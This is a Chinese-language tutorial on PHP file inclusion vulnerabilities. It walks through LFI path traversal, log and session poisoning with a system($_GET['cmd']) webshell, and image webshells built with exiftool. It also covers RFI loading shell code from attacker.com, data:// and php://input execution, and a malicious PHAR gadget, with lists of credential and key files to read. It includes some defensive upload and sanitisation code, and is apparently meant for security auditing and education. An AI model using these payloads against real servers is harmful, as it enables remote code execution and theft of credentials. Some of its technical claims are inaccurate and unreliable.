四、PHP文件包含漏洞深度解析

文件包含漏洞(File Inclusion)是PHP应用中最具破坏性的漏洞类型之一。在审计过程中,我发现很多开发者低估了这类漏洞的危害------他们认为"只是读取文件"。实际上,文件包含可以直接升级为远程代码执行(RCE),突破几乎所有应用层防护。

这篇文章会系统拆解文件包含的完整攻击面:从基础原理到高级利用,从本地包含到远程包含,从传统攻击到现代绕过技术。更重要的是,我会讲清楚为什么某些防御措施看似有效但实际上可被绕过

核心术语速查:

  • LFI (Local File Inclusion): 包含服务器本地文件
  • RFI (Remote File Inclusion): 包含远程服务器文件
  • 流包装器 (Stream Wrapper): PHP处理不同数据源的统一接口
  • 路径穿越 (Path Traversal) : 使用../等方式访问目录外的文件

1. 文件包含漏洞的本质

1.1 核心概念解析

什么是文件包含

定义: 文件包含是指PHP代码在运行时动态引入外部文件的机制。当包含的文件路径由用户输入控制时,就产生了文件包含漏洞。

通俗类比: 把文件包含想象成"复制粘贴代码":

  • include/require就像在当前位置插入另一个文件的全部内容
  • 如果被包含的文件是PHP代码,会立即在当前作用域执行
  • 如果被包含的文件不是PHP,PHP也会尝试解析(除非是纯文本)

心智模型: 文件包含 = 动态代码加载 + 作用域继承 + 执行权限继承

PHP包含函数家族:

php 复制代码
include($file);       // 包含失败时警告,继续执行
include_once($file);  // 同上,但同一文件只包含一次
require($file);       // 包含失败时致命错误,停止执行
require_once($file);  // 同上,但同一文件只包含一次

关键区别:

函数 失败行为 重复包含 常见用途
include 警告,继续执行 允许 可选模块
include_once 警告,继续执行 防止 类定义文件
require 致命错误,停止 允许 必需文件
require_once 致命错误,停止 防止 配置文件

为什么危险:

  1. 代码执行能力: 被包含的PHP代码会在当前作用域执行
  2. 路径可控性: 用户控制包含路径时,可读取任意文件或注入代码
  3. 作用域继承: 被包含代码继承当前变量环境,可能劫持敏感变量
  4. 扩展名无关: 即使文件扩展名不是.php,仍会被解析执行
漏洞分类

本地文件包含(LFI - Local File Inclusion):

  • 定义: 包含服务器本地文件系统中的文件
  • 典型场景: 读取配置文件、日志文件,或包含可控内容的文件
  • 风险等级: 🟡 中高(取决于是否有可控文件内容)
  • 常见目标: /etc/passwd, 日志文件, Session文件, 上传的文件

远程文件包含(RFI - Remote File Inclusion):

  • 定义: 包含远程服务器上的文件(通过HTTP/FTP等协议)
  • 典型场景: 包含攻击者控制的恶意PHP文件
  • 风险等级: 🔴 极高(直接RCE)
  • 配置依赖: 需要 allow_url_include=On

核心区别对比:

特性 LFI RFI
文件来源 本地文件系统 远程服务器
利用难度 中等(需找到可控内容文件) 低(攻击者完全控制)
配置依赖 无特殊要求 需要 allow_url_include=On
危害程度 信息泄露→RCE 直接RCE
检测难度 中等 较易

1.2 文件包含与PHP执行模型

执行流程详解:

复制代码
1. 用户请求到达
   ↓
2. PHP解析器开始处理
   ↓
3. 遇到 include/require 语句
   ↓
4. [关键点A] 解析文件路径
   - 处理相对/绝对路径
   - 支持 ../ 路径穿越
   - 支持伪协议(php://, data://, etc.)
   ↓
5. [关键点B] 读取文件内容
   - 从文件系统或流包装器读取
   - 不验证文件扩展名
   ↓
6. [关键点C] 将内容作为PHP代码执行
   - 在当前作用域执行
   - 继承所有变量和函数
   ↓
7. 继续执行后续代码

核心风险点分析:

风险点A: 路径解析阶段

php 复制代码
// PHP会解析的路径类型
include('/var/www/pages/home.php');           // 绝对路径
include('pages/home.php');                     // 相对路径
include('../../etc/passwd');                   // 路径穿越
include('php://filter/resource=/etc/passwd');  // 伪协议

风险点B: 内容读取阶段

php 复制代码
// PHP不关心文件扩展名
include('shell.txt');        // .txt 文件也会被执行
include('image.jpg');        // .jpg 文件如果包含PHP代码也会执行
include('data.xml');         // .xml 文件同样会被解析

风险点C: 代码执行阶段

php 复制代码
// 被包含文件继承当前作用域
$secret_key = 'super_secret';
include($_GET['page']);

// 如果 $_GET['page'] = 'malicious.php'
// malicious.php 中的代码可以访问 $secret_key

示例: 完整攻击流程

php 复制代码
// 脆弱代码
$page = $_GET['page'] ?? 'home';
include("/var/www/pages/$page.php");

攻击1: 路径穿越

复制代码
请求: ?page=../../etc/passwd
结果: include("/var/www/pages/../../etc/passwd.php")
简化: include("/etc/passwd.php")
尝试: 先尝试/etc/passwd.php,失败后尝试/etc/passwd

攻击2: NULL字节注入(PHP < 5.3.4)

复制代码
请求: ?page=../../etc/passwd%00
结果: include("/var/www/pages/../../etc/passwd%00.php")
处理: %00(NULL字节)截断后面的.php
实际: include("/var/www/pages/../../etc/passwd")

攻击3: 伪协议利用

复制代码
请求: ?page=php://filter/convert.base64-encode/resource=/etc/passwd
结果: include("php://filter/convert.base64-encode/resource=/etc/passwd.php")
处理: php://filter 读取/etc/passwd并Base64编码
输出: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaA==...

1.3 为什么文件包含特别危险

心智模型: 文件包含是"输入验证失败"的最坏情况,因为它结合了三种风险:

风险1: 信息泄露 (Information Disclosure)

  • 能力: 读取任何PHP进程有权限访问的文件
  • 目标: 配置文件、源代码、密钥、数据库凭证
  • 影响: 为进一步攻击提供关键信息

风险2: 代码注入 (Code Injection)

  • 能力: 如果能控制被包含文件的内容
  • 方法: 日志投毒、上传文件、Session劫持
  • 影响: 执行任意PHP代码

风险3: 权限继承 (Privilege Inheritance)

  • 能力: 被包含代码运行在Web进程权限下
  • 方法: 访问当前会话的所有变量和资源
  • 影响: 完全控制应用程序上下文

真实影响示例:

php 复制代码
// 场景: 包含配置文件
$module = $_GET['module'] ?? 'main';
include($module . '.php');

// 攻击: ?module=../../../../var/www/config/database
// 如果 database.php 包含:
<?php
$db_host = 'localhost';
$db_user = 'admin';
$db_pass = 'P@ssw0rd123!';
$db_name = 'production_db';
?>

// 后果分析:
// 1. 这些变量现在在当前作用域可用
// 2. 后续代码可以使用这些凭证
// 3. 攻击者可能通过错误信息、调试输出等获取这些值
// 4. 如果存在其他漏洞(如phpinfo()),凭证会被直接暴露

1.4 版本差异的安全影响

PHP版本对文件包含的关键影响:

PHP版本 关键变化 安全影响 攻击技术变化
5.3.4+ 修复NULL字节截断 %00绕过失效 需寻找其他绕过方法
5.4+ 默认关闭 allow_url_include RFI攻击面减小 转向LFI+日志投毒等
7.0+ 移除历史遗留特性 某些老技巧失效 攻击更依赖应用逻辑
7.2+ 加强路径解析安全性 路径穿越变种减少 需更精确的payload

实战提醒:

在审计时,务必确认目标PHP版本。同样的payload在不同版本中效果可能完全不同。版本识别是成功利用的第一步。

版本检测方法:

php 复制代码
// 方法1: 直接访问phpinfo()
// 查找 phpinfo.php 或类似页面

// 方法2: 错误信息泄露
// 触发错误,观察错误信息中的版本号

// 方法3: HTTP响应头
X-Powered-By: PHP/7.4.3

// 方法4: 特定函数测试
// 某些函数只在特定版本存在

2. 本地文件包含(LFI)攻击链

2.1 基础LFI利用

2.1.1 直接路径穿越

定义: 路径穿越(Path Traversal)是利用../等序列访问目标目录之外的文件的技术。

通俗类比: 就像在文件管理器中点"上一级"按钮,不断往上走直到找到想要的文件。

php 复制代码
// 脆弱代码
$page = $_GET['page'];
include("pages/$page.php");

攻击向量:

复制代码
?page=../../../../etc/passwd

路径解析过程详解:

复制代码
原始路径: pages/../../../../etc/passwd.php

步骤1 - 拼接: pages/../../../etc/passwd.php
步骤2 - 规范化: 
  pages/.. → (取消) → 根目录
  ../ → 上一级
  ../ → 再上一级
  ../ → 再上一级
  
步骤3 - 结果: /etc/passwd.php

步骤4 - PHP处理:
  先尝试: /etc/passwd.php (不存在)
  然后尝试: /etc/passwd (存在!)
  
最终: 成功包含 /etc/passwd

为什么有效:

  • PHP的include会忽略不存在的.php后缀
  • 路径规范化在包含前自动发生
  • 不检查最终路径是否在预期目录内
2.1.2 有扩展名强制时的绕过

场景: 开发者试图通过添加固定扩展名来限制包含

php 复制代码
// "安全"措施: 强制.jpg扩展名
$file = $_GET['file'];
include("uploads/$file.jpg");

绕过方法1: NULL字节截断(PHP < 5.3.4)

复制代码
请求: ?file=shell.php%00

处理流程:
1. 拼接: uploads/shell.php%00.jpg
2. NULL字节: %00 截断后续字符
3. 实际包含: uploads/shell.php
4. 执行: shell.php 中的PHP代码

技术解释:
- C语言中,字符串以\0(NULL字节)结尾
- PHP底层调用C函数时会被截断
- %00 是NULL字节的URL编码形式

为什么现代PHP已修复:

php 复制代码
// PHP 5.3.4+
include("uploads/shell.php\0.jpg");
// 错误: Filename cannot contain null bytes

绕过方法2: 利用已存在的合法文件(现代PHP)

复制代码
假设上传目录下真的有: shell.php.jpg

请求: ?file=shell.php
拼接: uploads/shell.php.jpg
结果: 该文件被包含并执行(即使扩展名是.jpg)

关键: PHP不关心扩展名,只要文件内容包含<?php标签就会执行

绕过方法3: 路径穿越+已知文件

复制代码
请求: ?file=../../var/log/apache2/access.log

拼接: uploads/../../var/log/apache2/access.log.jpg
规范化: /var/log/apache2/access.log.jpg (不存在)
尝试: /var/log/apache2/access.log (可能存在!)

如果日志文件被投毒(包含PHP代码),则RCE成功

2.2 信息收集: 读取敏感文件

2.2.1 Linux系统常见目标文件

系统配置文件:

文件路径 内容 安全价值
/etc/passwd 用户列表 枚举用户名,识别服务账户
/etc/shadow 密码哈希 需root权限,通常无法访问
/etc/group 组信息 理解权限结构
/etc/hosts 主机映射 发现内网主机
/etc/resolv.conf DNS配置 识别DNS服务器
/etc/ssh/sshd_config SSH配置 识别SSH设置

Web服务器配置:

复制代码
Apache:
/etc/apache2/apache2.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/apache2/.htpasswd
/var/log/apache2/access.log
/var/log/apache2/error.log

Nginx:
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
/var/log/nginx/access.log
/var/log/nginx/error.log

PHP配置:
/etc/php/7.4/fpm/php.ini
/etc/php/7.4/cli/php.ini

应用配置文件:

复制代码
通用框架:
/var/www/html/.env              - Laravel等框架环境配置
/var/www/html/config.php        - 自定义配置
/var/www/html/wp-config.php     - WordPress
/var/www/html/configuration.php - Joomla
/var/www/html/config/database.yml - Symfony

数据库配置:
/var/www/html/includes/config.php
/var/www/html/application/config/database.php

敏感文件:

复制代码
SSH密钥:
/root/.ssh/id_rsa
/home/user/.ssh/id_rsa
/home/user/.ssh/authorized_keys

历史记录:
/root/.bash_history
/home/user/.bash_history
/home/user/.mysql_history

临时文件:
/tmp/sess_*                    - PHP Session文件
/var/lib/php/sessions/sess_*

进程信息(/proc伪文件系统):

复制代码
/proc/self/environ      - 当前进程环境变量
/proc/self/cmdline      - 当前进程命令行
/proc/self/status       - 进程状态
/proc/self/fd/[0-9]*    - 文件描述符
/proc/self/cwd          - 当前工作目录(符号链接)
/proc/version           - 内核版本
/proc/cpuinfo           - CPU信息
2.2.2 Windows系统常见目标
复制代码
系统文件:
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System.ini

IIS配置:
C:\inetpub\wwwroot\web.config
C:\Windows\System32\inetsrv\config\applicationHost.config

应用配置:
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\bin\my.ini
C:\xampp\phpMyAdmin\config.inc.php

2.3 日志文件投毒(Log Poisoning)

核心原理:

定义: 日志投毒(Log Poisoning)是向日志文件中注入恶意代码,然后通过LFI包含该日志文件来执行代码的技术。

通俗类比: 就像往别人的笔记本里夹私货,等他翻看笔记时触发机关。

心智模型: 日志投毒 = 可控写入 + 可预测路径 + 文件包含

2.3.1 Apache访问日志投毒

完整攻击流程:

步骤1: 识别日志路径

php 复制代码
// 尝试包含常见日志路径
?page=../../../../var/log/apache2/access.log
?page=../../../../var/log/httpd/access_log
?page=../../../../var/log/apache/access.log

步骤2: 投毒日志

技术原理: Apache访问日志会记录完整的HTTP请求,包括请求路径。我们可以在请求路径中注入PHP代码。

http 复制代码
GET /<?php system($_GET['cmd']); ?> HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0

日志中的记录:

复制代码
192.168.1.100 - - [27/Jan/2026:10:30:45 +0000] "GET /<?php system($_GET['cmd']); ?> HTTP/1.1" 404 1234 "-" "Mozilla/5.0"

步骤3: 触发执行

复制代码
?page=../../../../var/log/apache2/access.log&cmd=whoami

执行流程详解:

复制代码
1. include('/var/log/apache2/access.log')
2. PHP解析器读取日志文件
3. 遇到 <?php system($_GET['cmd']); ?>
4. 在当前作用域执行该代码
5. $_GET['cmd'] = 'whoami'
6. system('whoami') 被执行
7. 输出: www-data

为什么有效:

  • Apache日志默认不转义PHP标签
  • 请求路径被原样记录
  • include会解析文件中的任何PHP代码
  • 日志文件通常对Web用户可读

常见问题与解决:

问题1: 日志文件过大

复制代码
解决: 日志投毒后立即利用,或等待日志轮转

日志轮转机制:
- access.log (当前)
- access.log.1 (昨天)
- access.log.2.gz (前天,已压缩)

攻击时机: 日志刚轮转后,文件较小,包含速度快

问题2: 日志权限不可读

复制代码
检查:
ls -la /var/log/apache2/
-rw-r----- 1 root adm 12345 Jan 27 10:30 access.log

如果Web用户不在adm组,无法读取
尝试其他日志或攻击路径
2.3.2 其他可投毒的日志

SSH日志投毒:

bash 复制代码
# 尝试SSH登录,用户名包含PHP代码
ssh '<?php system($_GET["c"]); ?>'@target.com

# SSH日志 /var/log/auth.log 会记录:
Jan 27 10:35:22 server sshd[1234]: Failed password for <?php system($_GET["c"]); ?> from 192.168.1.100 port 54321 ssh2

利用:

复制代码
?page=../../../../var/log/auth.log&c=id

优势: auth.log通常更容易读取

邮件日志投毒:

php 复制代码
// 如果应用有邮件功能
$to = "admin@target.com";
$subject = "<?php system(\$_GET['c']); ?>";
$message = "Test email";
mail($to, $subject, $message);

// 邮件日志 /var/log/mail.log 会记录主题

FTP日志投毒:

bash 复制代码
# FTP登录尝试
ftp target.com
Name: <?php system($_GET["c"]); ?>

# 日志记录在 /var/log/vsftpd.log 或 /var/log/xferlog

User-Agent投毒(某些应用):

http 复制代码
GET / HTTP/1.1
Host: target.com
User-Agent: <?php system($_GET['c']); ?>

# 某些应用会记录User-Agent到自定义日志

2.4 Session文件包含

核心原理:

定义: PHP的Session数据通常存储在文件中,文件名格式为sess_[SESSION_ID]。如果能控制Session内容并知道Session ID,就可以通过LFI包含Session文件执行代码。

Session文件默认位置:

复制代码
Linux:
/var/lib/php/sessions/sess_[SESSION_ID]
/var/lib/php5/sess_[SESSION_ID]
/tmp/sess_[SESSION_ID]

Windows:
C:\Windows\Temp\sess_[SESSION_ID]
C:\xampp\tmp\sess_[SESSION_ID]

攻击步骤详解:

步骤1: 投毒Session

php 复制代码
// 应用代码
session_start();
$_SESSION['username'] = $_POST['username'];

恶意请求:

http 复制代码
POST /login.php HTTP/1.1
Host: target.com
Cookie: PHPSESSID=abc123def456

username=<?php system($_GET['cmd']); ?>

Session文件内容:

复制代码
# /tmp/sess_abc123def456
username|s:32:"<?php system($_GET['cmd']); ?>";

步骤2: 包含Session文件

复制代码
?page=../../../../tmp/sess_abc123def456&cmd=whoami

关键问题: Session序列化格式

术语解释:

  • 序列化处理器 (Serialization Handler): PHP用于编码/解码Session数据的方法
  • php格式 : 默认格式,使用key|type:length:value
  • php_serialize格式: 使用标准PHP序列化格式

PHP Session有三种序列化格式,影响能否注入代码:

格式 配置项 注入可能性 示例
php session.serialize_handler=php ✅ 可能 `name
php_binary session.serialize_handler=php_binary ❌ 难 二进制格式
php_serialize session.serialize_handler=php_serialize ❌ 难 a:1:{s:4:"name";s:5:"value";}

默认格式(php)下的注入:

复制代码
# Session内容
username|s:32:"<?php system($_GET['cmd']); ?>";

# 包含时PHP会解析:
// username变量被设置为 <?php system($_GET['cmd']); ?>
// 但字符串中的<?php 仍会被解析!

php_serialize格式的防御:

php 复制代码
// 配置(PHP 5.5.4+)
ini_set('session.serialize_handler', 'php_serialize');

// Session内容
a:1:{s:8:"username";s:32:"<?php system($_GET['cmd']); ?>";}

// <?php 被当作字符串数据,不会执行

防御建议:

php 复制代码
// 1. 使用php_serialize格式
ini_set('session.serialize_handler', 'php_serialize');

// 2. 验证和清理Session输入
function sanitizeSessionData($data) {
    // 移除PHP标签
    $data = preg_replace('/<\?php.*?\?>/', '', $data);
    $data = str_replace(['<?', '?>'], '', $data);
    return $data;
}

// 3. 验证Session数据类型
$_SESSION['username'] = filter_var($_POST['username'], FILTER_SANITIZE_STRING);

2.5 上传文件包含

核心原理:

当应用允许用户上传文件,并且上传目录可通过LFI访问时,攻击者可以上传包含恶意PHP代码的文件,然后通过文件包含执行。

攻击步骤:

步骤1: 上传恶意文件

http 复制代码
POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="avatar.jpg"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

步骤2: 包含上传的文件

复制代码
?page=../../../../uploads/avatar.jpg&cmd=whoami

为什么有效:

  • PHP不检查文件扩展名
  • include会解析文件中的<?php ?>标签
  • 上传的文件通常存储在可预测的位置

常见上传绕过技术:

php 复制代码
// 绕过1: 双重扩展名
shell.php.jpg

// 绕过2: 空字节截断(PHP < 5.3.4)
shell.php%00.jpg

// 绕过3: 可执行扩展名混淆
shell.php.
shell.php%20
shell.php%0a

// 绕过4: MIME类型欺骗
Content-Type: image/jpeg

// 绕过5: 图片马 - 在真实图片中插入PHP代码

图片马制作:

bash 复制代码
# 方法1: 直接追加
cat shell.php >> image.jpg

# 方法2: 使用exiftool
exiftool -Comment='<?php system($_GET["c"]); ?>' image.jpg

# 方法3: 使用GIF分隔符
echo 'GIF89a' > shell.gif
echo '<?php system($_GET["c"]); ?>' >> shell.gif

防御措施:

php 复制代码
class SecureFileUpload {
    private string $uploadDir;
    private array $allowedMimeTypes = [
        'image/jpeg',
        'image/png',
        'image/gif'
    ];

    public function __construct(string $uploadDir) {
        $this->uploadDir = rtrim($uploadDir, '/');
    }

    public function upload(array $file): string {
        // 1. 验证MIME类型
        $finfo = new finfo(FILEINFO_MIME_TYPE);
        $mimeType = $finfo->file($file['tmp_name']);

        if (!in_array($mimeType, $this->allowedMimeTypes, true)) {
            throw new InvalidArgumentException('Invalid file type');
        }

        // 2. 验证文件扩展名
        $ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
        $allowedExts = ['jpg', 'jpeg', 'png', 'gif'];

        if (!in_array($ext, $allowedExts, true)) {
            throw new InvalidArgumentException('Invalid extension');
        }

        // 3. 验证MIME和扩展名匹配
        $mimeExtMap = [
            'image/jpeg' => ['jpg', 'jpeg'],
            'image/png' => ['png'],
            'image/gif' => ['gif']
        ];

        if (!in_array($ext, $mimeExtMap[$mimeType], true)) {
            throw new InvalidArgumentException('MIME type mismatch');
        }

        // 4. 检查文件内容是否包含PHP代码
        $content = file_get_contents($file['tmp_name']);
        if (preg_match('/<\?php|<\?|\?>|eval\(|system\(/i', $content)) {
            throw new SecurityException('PHP code detected in image');
        }

        // 5. 生成安全的文件名
        $newFilename = $this->generateSafeFilename($ext);
        $destination = $this->uploadDir . '/' . $newFilename;

        // 6. 移动文件
        if (!move_uploaded_file($file['tmp_name'], $destination)) {
            throw new RuntimeException('Failed to move uploaded file');
        }

        // 7. 设置正确的权限
        chmod($destination, 0644);

        return $newFilename;
    }

    private function generateSafeFilename(string $ext): string {
        return bin2hex(random_bytes(16)) . '.' . $ext;
    }
}

3. 远程文件包含(RFI)利用技术

3.1 RFI基础

核心概念:

RFI(Remote File Inclusion)允许攻击者包含远程服务器上的文件,这是最危险的文件包含形式,因为攻击者完全控制被包含的文件内容。

配置要求:

ini 复制代码
; php.ini 配置
allow_url_include = On    # 必须开启
allow_url_fopen = On      # 通常默认开启

版本差异:

PHP版本 allow_url_include默认值 安全影响
5.x Off(但很多环境开启) RFI仍然常见
7.0+ Off 默认安全,但需确认
8.0+ 废弃该选项 RFI技术上不可用

基础RFI攻击:

php 复制代码
// 脆弱代码
$page = $_GET['page'];
include($page . '.php');

攻击请求:

复制代码
?page=http://attacker.com/shell

攻击者的shell.php内容:

php 复制代码
<?php
system($_GET['cmd']);
?>

执行流程:

复制代码
1. 请求: ?page=http://attacker.com/shell
2. 拼接: http://attacker.com/shell.php
3. PHP通过HTTP获取文件
4. 包含并执行远程PHP代码
5. 攻击者完全控制执行

3.2 RFI进阶技术

3.2.1 绕过后缀追加

场景: 代码自动添加.php后缀

php 复制代码
$page = $_GET['page'];
include($page . '.php');

绕过方法1: URL中的问号

复制代码
?page=http://attacker.com/shell?

原理:

复制代码
拼接结果: http://attacker.com/shell?.php

HTTP请求:
GET http://attacker.com/shell?.php HTTP/1.1

服务器解析:
- 路径: /shell
- 查询参数: .php (被忽略)
- 返回: shell.php的内容(没有.php后缀的实际文件)

绕过方法2: URL中的井号

复制代码
?page=http://attacker.com/shell%23

URL解码:

复制代码
%23 → #
拼接: http://attacker.com/shell#.php

井号的作用:

复制代码
HTTP中,#是片段标识符(Fragment Identifier)
服务器不会处理#后面的内容
# 及其后的 .php 被浏览器/客户端忽略

绕过方法3: 路径穿越

复制代码
?page=http://attacker.com/shell.php/../../evil

原理:

复制代码
拼接: http://attacker.com/shell.php/../../evil.php

某些Web服务器可能:
1. 只关注最后一个路径段
2. 解析为 shell.php
3.2.2 利用伪协议进行RFI

虽然php://是本地伪协议,但可以配合其他技术:

php 复制代码
// 利用data://伪协议(如果allow_url_include=On)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

解码:

复制代码
base64: PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
原文:  <?php system($_GET['cmd']); ?>

执行:

php 复制代码
include('data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+=');
// 直接执行base64编码的PHP代码

3.3 RFI的限制与绕过

限制1: 远程文件必须返回PHP代码

php 复制代码
// 如果远程服务器是纯静态文件服务器
// 并且.php文件被解析后返回结果而非源代码
// 则RFI可能失败

绕过方法:

  1. 配置远程服务器不解析PHP
apache 复制代码
# 在攻击者服务器的Apache配置
<Files "shell.php">
    SetHandler default-handler
    RemoveHandler .php
</Files>
  1. 使用.txt或其他扩展名

    ?page=http://attacker.com/shell.txt

  2. 修改Content-Type

php 复制代码
<?php
header('Content-Type: text/plain');
echo '<?php system($_GET["cmd"]); ?>';
?>

限制2: HTTPS证书验证

php 复制代码
// 如果使用HTTPS,PHP可能验证SSL证书
$page = 'https://attacker.com/shell';

绕过方法:

php 复制代码
// 禁用SSL验证(攻击者无法控制目标)
// 这需要在目标服务器上配置,通常不可行

限制3: 防火墙/网络限制

复制代码
- 目标服务器可能限制出站HTTP连接
- 内网隔离可能阻止访问公网

3.4 RFI vs LFI 总结

特性 LFI RFI
配置要求 无特殊要求 allow_url_include=On
攻击难度 中等
危害程度 信息泄露 → RCE 直接RCE
检测难度 中等 容易
现代PHP 仍然有效 大多被禁用
利用条件 需要可控文件 只需HTTP访问

实战建议:

在现代PHP环境中(7.0+),RFI较为少见,因为allow_url_include默认关闭。

但LFI仍然是一个严重威胁,因为可以通过日志投毒、Session劫持等方式升级为RCE。


4. PHP伪协议完整剖析

PHP伪协议(Protocol Wrappers)是PHP处理不同数据源的统一接口,在文件包含攻击中扮演重要角色。

4.1 伪协议基础

什么是伪协议:

定义: PHP中的伪协议是一种特殊的URL语法,用于访问不同类型的数据源,如文件、HTTP、数据流等。

心智模型: 伪协议就像"统一的数据插座",无论数据来自文件、网络、内存还是压缩包,都可以用相同的接口访问。

为什么重要: 伪协议大大扩展了文件包含的攻击面,使得攻击者能够:

  • 读取任意文件内容
  • 绕过某些过滤机制
  • 执行任意代码

4.2 完整伪协议清单

协议 用途 需要配置 典型用途
file:// 访问本地文件系统 file:///etc/passwd
php:// 访问PHP流 输入/输出访问
data:// 数据流 allow_url_include=On 直接数据执行
http:// HTTP访问 allow_url_fopen=On 远程文件包含
https:// HTTPS访问 allow_url_fopen=On 安全远程包含
ftp:// FTP访问 allow_url_fopen=On FTP文件获取
zlib:// 压缩流 compress.zlib://
glob:// 文件匹配 目录遍历
phar:// PHP归档 归档文件执行
ssh2:// SSH2连接 需ssh2扩展 远程文件访问

4.3 php:// 伪协议详解

php://是最强大的伪协议系列,提供多种访问PHP内部数据的方式。

4.3.1 php://filter

用途: 读取文件并进行过滤/转换

语法:

复制代码
php://filter/<filter>/<parameter>=<value>/resource=<target>

常见过滤器:

过滤器 功能 攻击用途
read=convert.base64-encode Base64编码 读取任意文件内容
read=convert.base64-decode Base64解码 解码数据
read=string.rot13 ROT13编码 绕过检测
read=string.toupper 转大写 代码混淆
read=string.tolower 转小写 代码混淆
read=convert.quoted-printable-encode QP编码 绕过检测
write=string.rot13 ROT13写入 写入混淆文件

基础用法:

php 复制代码
// 读取文件并Base64编码
?page=php://filter/convert.base64-encode/resource=/etc/passwd

为什么使用Base64:

复制代码
不使用Base64:
include('/etc/passwd');
- PHP尝试解析为PHP代码
- 可能失败或只显示部分内容

使用Base64:
include('php://filter/convert.base64-encode/resource=/etc/passwd');
- 读取并编码
- 显示完整的Base64内容
- 攻击者可以解码获取完整文件

实际输出示例:

复制代码
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoMTpM
PWRhZW1vbjovcm9vdDovc2Jpbi9ubG9naW4KYmluOng6MjoyOmJpbjovYml...

攻击流程:

bash 复制代码
# 1. 获取Base64编码的内容
curl "http://target.com/?page=php://filter/convert.base64-encode/resource=config.php"

# 2. 解码
echo "cm9vdDp4..." | base64 -d

# 3. 获取敏感信息
<?php
$db_host = 'localhost';
$db_user = 'admin';
$db_pass = 'P@ssw0rd123';
?>

高级过滤器链:

php 复制代码
// 多个过滤器可以组合使用
?page=php://filter/read=string.rot13|convert.base64-encode/resource=config.php

组合示例:

过滤器链 效果
convert.base64-encode 读取PHP文件源码
`string.toupper convert.base64-encode`
`convert.iconv.UTF-8.UTF-16 convert.base64-encode`
4.3.2 php://input

用途: 访问原始POST数据

前提条件:

ini 复制代码
; php.ini
allow_url_include = On  # 通常需要

使用场景:

php 复制代码
// 脆弱代码
$page = $_GET['page'];
include($page);

攻击方式:

http 复制代码
POST /?page=php://input HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

<?php system('whoami'); ?>

执行流程:

复制代码
1. 请求包含 ?page=php://input
2. POST body包含PHP代码
3. include('php://input') 读取POST body
4. PHP代码被执行

限制:

  • 需要allow_url_include=On
  • 通常只对POST请求有效
  • 某些WAF会检测php://input
4.3.3 php://stdout 和 php://stderr

用途: 访问输出流

攻击价值: 有限,主要用于:

php 复制代码
// 重定向输出
ob_start('system');
include('php://filter/read=string.rot13/resource=php://input');
4.3.4 php://fd

用途: 访问文件描述符

攻击示例:

php 复制代码
// 访问进程的文件描述符
?page=php://fd/3

场景:

  • 如果进程打开了敏感文件
  • 文件描述符可能暴露内容

实际例子:

php 复制代码
// 某些应用可能:
$fp = fopen('/etc/passwd', 'r');
// 文件描述符可能是3
// 攻击者可以访问:
include('php://fd/3');

4.4 data:// 伪协议

用途: 直接在URL中嵌入数据

语法:

复制代码
data://<mime-type>;base64,<data>

基础用法:

php 复制代码
// 纯文本
?page=data://text/plain,<?php system('whoami'); ?>

// Base64编码
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=

完整攻击示例:

http 复制代码
GET /?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=id HTTP/1.1
Host: target.com

解码:

复制代码
PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ (Base64)
↓
<?php system($_GET['cmd']); ?>

限制:

  1. 需要allow_url_include=On
  2. URL长度限制 - 某些服务器限制URL长度
  3. 特殊字符编码 - 需要URL编码

编码技巧:

php 复制代码
// 编码PHP代码为Base64
$code = '<?php system($_GET["cmd"]); ?>';
$encoded = base64_encode($code);
// PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8=

// URL编码特殊字符
$url = 'data://text/plain;base64,' . urlencode($encoded);

4.5 file:// 伪协议

用途: 访问本地文件系统

语法:

复制代码
file://<absolute_path>

使用示例:

php 复制代码
?page=file:///etc/passwd

与直接路径的区别:

php 复制代码
// 这两种方式通常等效
include('/etc/passwd');
include('file:///etc/passwd');

// 但file://在某些过滤绕过中可能有用
include('file://' . $_GET['file']);

路径穿越:

php 复制代码
?page=file:///etc/passwd
?page=file:///var/www/html/config.php
?page=file:///proc/self/environ

4.6 phar:// 伪协议

用途: 访问PHP归档文件

什么是PHAR:

定义: PHAR(PHP Archive)是PHP的归档格式,类似于JAR for Java,可以将整个PHP应用打包成单个文件。

攻击价值: 即使没有文件上传漏洞,如果存在LFI,攻击者可能通过PHAR执行代码。

PHAR结构:

复制代码
phar://archive.phar/file_inside.php

创建恶意PHAR:

php 复制代码
<?php
// create_phar.php
class Evil {
    function __destruct() {
        system($_GET['cmd']);
    }
}

$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test content');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new Evil());
$phar->stopBuffering();
?>

利用:

复制代码
?page=phar:///path/to/evil.phar/test.txt&cmd=whoami

注意: 这需要反序列化漏洞配合,是PHAR反序列化攻击的一部分。

4.7 compress.zlib:// 和 compress.bzip2://

用途: 访问压缩文件

语法:

复制代码
compress.zlib://file.gz
compress.bzip2://file.bz2

攻击场景:

php 复制代码
// 如果应用包含日志文件,而日志被压缩
?page=compress.zlib:///var/log/apache2/access.log.gz

绕过检测:

php 复制代码
// Base64编码+压缩
?page=php://filter/compress.zlib/convert.base64-encode/resource=config.php

4.8 伪协议组合攻击

组合1: 读取PHP源码

php 复制代码
?page=php://filter/convert.base64-encode/resource=config.php

